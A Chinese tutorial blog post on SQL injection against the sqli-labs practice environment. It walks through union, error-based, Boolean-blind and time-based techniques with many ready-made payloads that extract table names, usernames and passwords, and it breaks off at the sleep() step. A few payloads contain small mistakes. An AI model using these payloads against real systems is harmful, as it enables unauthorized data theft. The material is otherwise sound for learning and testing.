sql注入日记

学前须知

 在Mysql 5.0以上版本中,为了方便管理,默认定义了information_schema数据库,用来储存数据库元信息,其中具有表schemata(数据库名)、table(表名)、columns(字段名、列名)

sql语句的基本语法学习https://www.w3school.com.cn/sql/index.asp

一、参数分类

1.数字型 当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

如 www.text.com/text.php?id=3 对应的sql语句为 select * from table where id=3

2.字符型 当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。即看参数是否被引号包裹

例如数字型语句:select * from table where id =3

则字符型如下:select * from table where name=’admin’

二、注入手法分类

  UNION query SQL injection(联合查询注入)
  Error-based SQL injection(错型注入)
  Boolean-based blind SQL injection(基于布尔的盲注)
  Time-based blind SQL injection(基于时间的盲注)
  Stacked queries SQL injection(可多语句查询注入)
 

1.union联合查询

1.判断注入点

输入?id=1'  页面报出sql语法错误。

输入

?id=1' and 1=1 --+ 

页面正常显示,

输入

?id=1' and 1=2 --+

 页面不显示内容,说明程序对我们输入的sql语句结果是否正确做出判断,可以得出注入点是单引号

2.判断表的字段数 (表的列数)

输入

?id=1' order by 3 --+

order by 语句对表的字段进行排序 默认为升序, 如果您希望按照降序对记录进行排序,可以使用 desc 关键字。

 输入

?id=1' order by 4 --+

 

 判断出该表的字段数为3,接下来判断我们的输入会在屏幕哪个地方进行回显

3.判断显示位

输入

?id=-1' union select 1,2,3 --+

id=-1, 这里-1的目的是让程序无法查到内容并返回结果,以执行后面的sql语句,也可以是999之类 

 显示位为后面的两位。

4.查询数据库名

根据显示位,用sql语句代替显示位,查询想要得到的结果

?id=-1' union select 4,database(),6 --+

5.爆数据库中的表

?id=-1' union select 1,group_concat(table_name),3 from information_schema.table where 
table_schema=database() --+

6.爆表中的字段

?id=-1' union select 1,group_concat(columns_name),3 from information_schema.columns where 
table_schema='security' and table_name='users' --+

 

 7.爆字段中的数据

?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users --+

到此完成了一个完整的脱库过程,联合查询也就完成了。

2.报错注入

报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。

 推荐三种报错注入的方法,直接套用就行。以less-5为例子

1. group_by 重复建冲

?id=1' and (select 1 from (select count(*),concat((select 要查询的内容 from 
information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables 
group by x)a) --+

输入 ?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

查询数据库名称

?id=1' and (select 1 from (select count(*),concat((select database() from 
information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables 
group by x)a) --+

 2. updatexml()函数

and updatexml(1,concat('^',(需要查询的内容)),1)

 3.extractvalue()函数

?id=1' and extractvalue(1,concat('^',(select database()))) --+
?id=1' extractvalue(1,concat(0x7e,database())) --+

爆表

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

爆字段

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from 
information_schema.columns where table_name='users')))

  由于extractvalue()函数和updatexml()函数 只能报错查询32个字符长度。查询其余字段可以在后面加入这样的语句,排除刚刚查到的内容

and column_name not in ('以查询到的','内容')

也可以在一开始查询的伤害 不使用group_concat()函数 

出现这样的语句  意思是查询返回结果超过一行 在结尾加入这句代码限制返回结果 (显示第0行的往下一行,不包括第0行)

limit 0,1 

然后limit 1,1 (显示第1行的往下一行,不包括第一行)

依次查询所有的字段

爆字段中的内容

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,'--',username,'--') from users ))) --+

3.基于布尔的盲注

布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。

布尔盲注的注入步骤

我们构造判断语句 (and 前后都为真则为真,也可用 or),根据页面是否回显证实猜想。一般用到的函数ascii() 、substr() 、length(),exists()、concat()等。

 判断数据库名

  • MySQL数据库表      information_schema.tables
  • access                     msysobjects 
  • SQLServer               sysobjects
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+  //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+  //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+  //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+  //不显示任何数据
 
  大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符
 
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security

判断当前库的表

//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
 
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
 
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值               
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

 判断表的字段

  • 判断字段个数
  • 判断每个字段的长度
  • 猜每个字段的字符
//如果已经证实了存在admin表,那么猜测是否存在username字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) 
  
1:判断表中字段的个数
//判断users表中字段个数是否大于5
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+
 
2:判断每个字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
//判断第二个字段的长度   
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+
 
3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
...........
 
由此可判断出users表中存在 id、username、password 字段

爆字段中的数据

  • 猜字段中数据的长度
  • 猜字段数据的每个字符ascii码 得字符
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
 
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
 
2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........

一般布尔盲注手工注入过于繁琐,一般使用工具。

4.基于时间的盲注

观察页面,当既没有显示数据库信息,也没有报错,还不能布尔盲注,这时候就可以考虑使用延时注入,延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。我们以第9关为例,在id=1后面加单引号或者双引号,页面不会发生任何改变,所以我们考虑绝招延时注入。

yH5BAAAAAAALAAAAAAOAA4AAAIMhI+py+0Po5y02qsKADs=wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==

输入

?id=1' and sleep(5) --+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值